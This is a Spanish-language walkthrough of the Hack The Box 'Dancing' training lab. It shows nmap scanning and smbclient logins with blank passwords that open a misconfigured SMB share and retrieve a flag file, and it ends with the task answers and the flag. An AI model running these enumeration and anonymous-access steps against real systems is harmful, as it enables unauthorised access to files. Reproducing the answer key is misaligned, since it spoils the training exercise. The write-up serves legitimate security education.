Dancing - Hack The Box
Dancing corresponde a la tercera caja de la serie Learn the Basics of Penetration Testing, Para este desafío evaluaremos el protocolo de comunicación SMB (Server Message Block), el mismo que proporciona acceso compartido a archivos, impresoras y puertos seriales entre dispositivos finales de red, por lo general SMB se ejecuta en máquinas con sistemas operativos Windows.
SMB se ejecuta en las capas de Aplicación o Presentación del modelo OSI mediante el puerto 445 TCP, Debido a esto, SMB se basa en protocolos de nivel inferior para la capa de transporte. El protocolo SMB de Microsoft utiliza con frecuencia el protocolo NetBIOS sobre TCP/IP (NBT) para la capa de transporte. Por ende, durante los escaneos, lo más probable es que veamos ambos protocolos con puertos abiertos ejecutandose en el destino
Un cliente (usuario de una aplicación) que utilice el protocolo SMB puede acceder a archivos en un servidor remoto, junto con otros recursos como impresoras. Por lo tanto, el cliente puede leer, crear y actualizar archivos en el servidor remoto. Tambien puede comunicarse con cualquier programa de servidor que esté configurado para recibir una solicitud de cliente SMB.
Un almacenamiento habilitado de SMB en la red se denomina recurso compartido. Cualquier cliente que tenga la direccion IP del servidor y las credenciales adecuadas puede acceder a estos. SMB como muchos protocolos de acceso a archivos requiere capas de seguridad para funcionar adecuadamente dentro de una topología de red. A nivel de usuario, Los clientes SMB deben proporcionar una combinacion de usuario y contraseña para acceder y interactuar con el contenido del recurso compartido SMB.
SMB a pesar de tener la capacidad de asegurar el acceso al recurso compartido, un administrador de red puede cometer errores y accidentalmente permitir inicios de sesión sin ninguna credencial valida o inicios de sesión anónimos, Hoy explotaremos esta vulnerabilidad.
Enumeración
Como en tutoriales anteriores, empezamos escaneando el objetivo una vez que estemos conectados a la VPN. Ejecutamos el comando `sudo nmap -sV {target_IP}, esto hará que nmap escanee todos los puertos y muestre las versiones del servicio para cada uno de ellos
┌─[fabro@parrot]─[~]
└──╼ $sudo nmap -sV 10.129.129.8
[sudo] password for fabro:
Nmap scan report for 10.129.129.8
Host is up (0.42s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Se observa que el puerto 445 TCP para SMB se encuentra abierto, por ende tenemos un recurso compartido activo que podríamos explorar. Para enumerar el contenido compartido en el sistema remoto, podemos usar el script de smbclient
, con el comando sudo apt-get install smbclient
.
Al ejecutar el script, smbclient intentará conectarse al host remoto y verificará si se requiere de autenticación, si la hay, solicitará una contraseña para su nombre de usuario local. Si no especificamos un nombre de usuario específico para smbclient al intentar conectarnos al host remoto, el script tomará el nombre de la sesión de su máquina virtual. Esto se debe a que la autenticación SMB siempre requiere un nombre de usuario, por lo que al no darle uno explícitamente para intentar iniciar sesión, solo tendrá que pasar su nombre de usuario local actual para evitar generar un error con el protocolo.
Procedimiento de conexión y transferencia de archivos SMB
Fuente: Dancing Write-up - Hack The Box
Si fueramos un usuario remoto legítimo que intenta iniciar sesión en su recurso, conoceríamos nuestro nombre de usuario y contraseña e iniciaríamos sesión normalmente para acceder a nuestro recurso compartido, en este caso, no tenemos tales credenciales, por lo que trataremos de iniciar sesión de la siguiente manera utilizando nuestro nombre de usuario local:
- Guest authentication
- Anonymous authentication
Cualquiera de estas combinaciones de usuario/contraseña nos permitira acceder y ver los archivos almacenados en el recurso compartido. Dejamos el campo de contraseña en blanco, simplemente presionando Enter para indicarle al script que continue.
El comando smbclient -L {target_IP}
establecera conexión con el host destino, la opción -L
obtiene una lista de recursos compartidos disponibles en un host. Para obtener mas información sobre las capacidades del script smbclient podemos ejecutar `smbclient –help o -h
┌─[fabro@parrot]─[~]
└──╼ $smbclient -L 10.129.129.8
Enter WORKGROUP\fabro's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
WorkShares Disk
SMB1 disabled -- no workgroup available
Al ejecutar el comando anterior, observamos que existen cuatro recurso compartidos separados donde:
- ADMIN$: los recursos compartidos administrativos son recursos compartidos de red ocultos creados por la familia de sistemas operativos Windows NT que permiten a los administradores del sistema tener acceso remoto a cada volumen de disco en un sistema conectado a la red. Es posible que estos recursos compartidos no se eliminen de forma permanente, pero se pueden deshabilitar.
- C$: recurso compartido administrativo para el volumen de disco C:. Aquí es donde se aloja el sistema operativo.
- IPC$ - La cuota de comunicación entre procesos. Se utiliza para la comunicación entre procesos a través de canalizaciones con nombre y no forma parte del sistema de archivos.
- WorkShares: recurso compartido personalizado.
Foothold
En este paso intentaremos conectarnos a cada uno de los recursos compartidos excepto al recurso IPC$, debido que no es un directorio navegable y no contiene ningun archivo que podamos usar en esta etapa de aprendizaje. Utilizaremos la misma técnica de conexión de antes, intentando iniciar sesión sin las credenciales adecuadas con le proposito de encontrar permisos configurados incorrectamente en cualquiera de los recurso compartidos. Únicamente proporcionaremos una contraseña en blanco para cada nombre, iniciando por el ADMIN$
┌─[fabro@parrot]─[~]
└──╼ $smbclient \\\\10.129.129.8\\ADMIN$
Enter WORKGROUP\fabro's password:
tree connect failed: NT_STATUS_ACCESS_DENIED
Se emite NT_STATUS_ACCESS_DENIED, lo que nos permite saber que no tenemos las credenciales adecuadas para conectarnos a este recurso compartido. Haremos un seguimiento con el recurso compartido de C$.
┌─[fabro@parrot]─[~]
└──╼ $smbclient \\\\10.129.129.8\\C$
Enter WORKGROUP\fabro's password:
tree connect failed: NT_STATUS_ACCESS_DENIED
Continuamos con el intento de iniciar sesión en el recurso compartido SMB de WorkShares.
┌─[fabro@parrot]─[~]
└──╼ $smbclient \\\\10.129.129.8\\WorkShares
Enter WORKGROUP\fabro's password:
Try "help" to get a list of possible commands.
smb: \>
¡Éxito! El recurso compartido SMB de WorkShares estaba mal configurado, lo que nos permite iniciar sesión sin las credenciales adecuadas. Podemos ver que nuestro prompt de terminal cambió a smb: \>
, lo que nos permite saber que nuestro shell ahora está
interactuando con el servicio. Podemos ejecutar el comando help
para analizar qué podemos realizar dentro de este shell.
smb: \> help
? allinfo altname archive backup
blocksize cancel case_sensitive cd chmod
chown close del deltree dir
du echo exit get getfacl
geteas hardlink help history iosize
lcd link lock lowercase ls
l mask md mget mkdir
more mput newer notify open
posix posix_encrypt posix_open posix_mkdir posix_rmdir
posix_unlink posix_whoami print prompt put
pwd q queue quit readlink
rd recurse reget rename reput
rm rmdir showacls setea setmode
scopy stat symlink tar tarmode
timeout translate unlock volume vuid
wdel logon listconnect showconnect tcon
tdis tid utimes logoff ..
!
Podemos notar que la mayoría de los comandos de Linux están presentes. Usaremos los siguientes comandos para navegar por el recurso compartido.
- ls : listing contents of the directories within the share
- cd : changing current directories within the share
- get : downloading the contents of the directories within the share
- exit : exiting the smb shell
Si escribimos el comando ls
nos mostrará dos directorios, uno para Amy.J y otro para James.P. Ingresamos al primer directorio y encontramos el archivo worknotes.txt
, que podemos descargar usando el comando get
.
smb: \> ls
. D 0 Mon Mar 29 03:22:01 2021
.. D 0 Mon Mar 29 03:22:01 2021
Amy.J D 0 Mon Mar 29 04:08:24 2021
James.P D 0 Thu Jun 3 03:38:03 2021
5114111 blocks of size 4096. 1751781 blocks available
smb: \> cd Amy.J\
smb: \Amy.J\> LS
. D 0 Mon Mar 29 04:08:24 2021
.. D 0 Mon Mar 29 04:08:24 2021
worknotes.txt A 94 Fri Mar 26 06:00:37 2021
5114111 blocks of size 4096. 1751781 blocks available
smb: \Amy.J\> get worknotes.txt
getting file \Amy.J\worknotes.txt of size 94 as worknotes.txt (0,1 KiloBytes/sec) (average 0,1 KiloBytes/sec)
Este archivo ahora se guarda dentro de la ubicación desde donde ejecutamos nuestro comando smbclient. Sigamos buscando otros archivos en el directorio de James.P. Cambiando de directorio, Podemos encontrar el archivo flag.txt que nos interesa. Después de descargar este archivo, podemos usar el comando exit
para salir del shell y verificar los archivos que acabamos de recuperar.
smb: \Amy.J\> cd ..
smb: \> cd James.P\
smb: \James.P\> ls
. D 0 Thu Jun 3 03:38:03 2021
.. D 0 Thu Jun 3 03:38:03 2021
flag.txt A 32 Mon Mar 29 04:26:57 2021
5114111 blocks of size 4096. 1751781 blocks available
smb: \James.P\> get flag.txt
getting file \James.P\flag.txt of size 32 as flag.txt (0,0 KiloBytes/sec) (average 0,1 KiloBytes/sec)
smb: \James.P\> exit
┌─[fabro@parrot]─[~]
└──╼ $ls
flag.txt worknotes.txt
┌─[fabro@parrot]─[~]
└──╼ $cat flag.txt
5f61c10dffbc77a704d76016a22f1664
Respuestas
Task 1
What does the 3-letter acronym SMB stand for?
- Server Message Block
Task 2
What port does SMB use to operate at?
- 445
Task 3
What is the service name for port 445 that came up in our Nmap scan?
- microsoft-ds
Task 4
What is the ‘flag’ or ‘switch’ we can use with the SMB tool to ‘list’ the contents of the share?
- -L
Task 5
How many shares are there on Dancing?
- 4
Task 6
What is the name of the share we are able to access in the end with a blank password?
- WorkShares
Task 7
What is the command we can use within the SMB shell to download the files we find?
- get
Task 8
Submit root flag
- 5f61c10dffbc77a704d76016a22f1664
Certificado
Al envíar la bandera a Hack The Box, recibímos un mensaje de "Dancing has been Pwned", el desafío se resolvió con éxito. Mi certificado de la máquina Dancing se encuentra disponible aquí.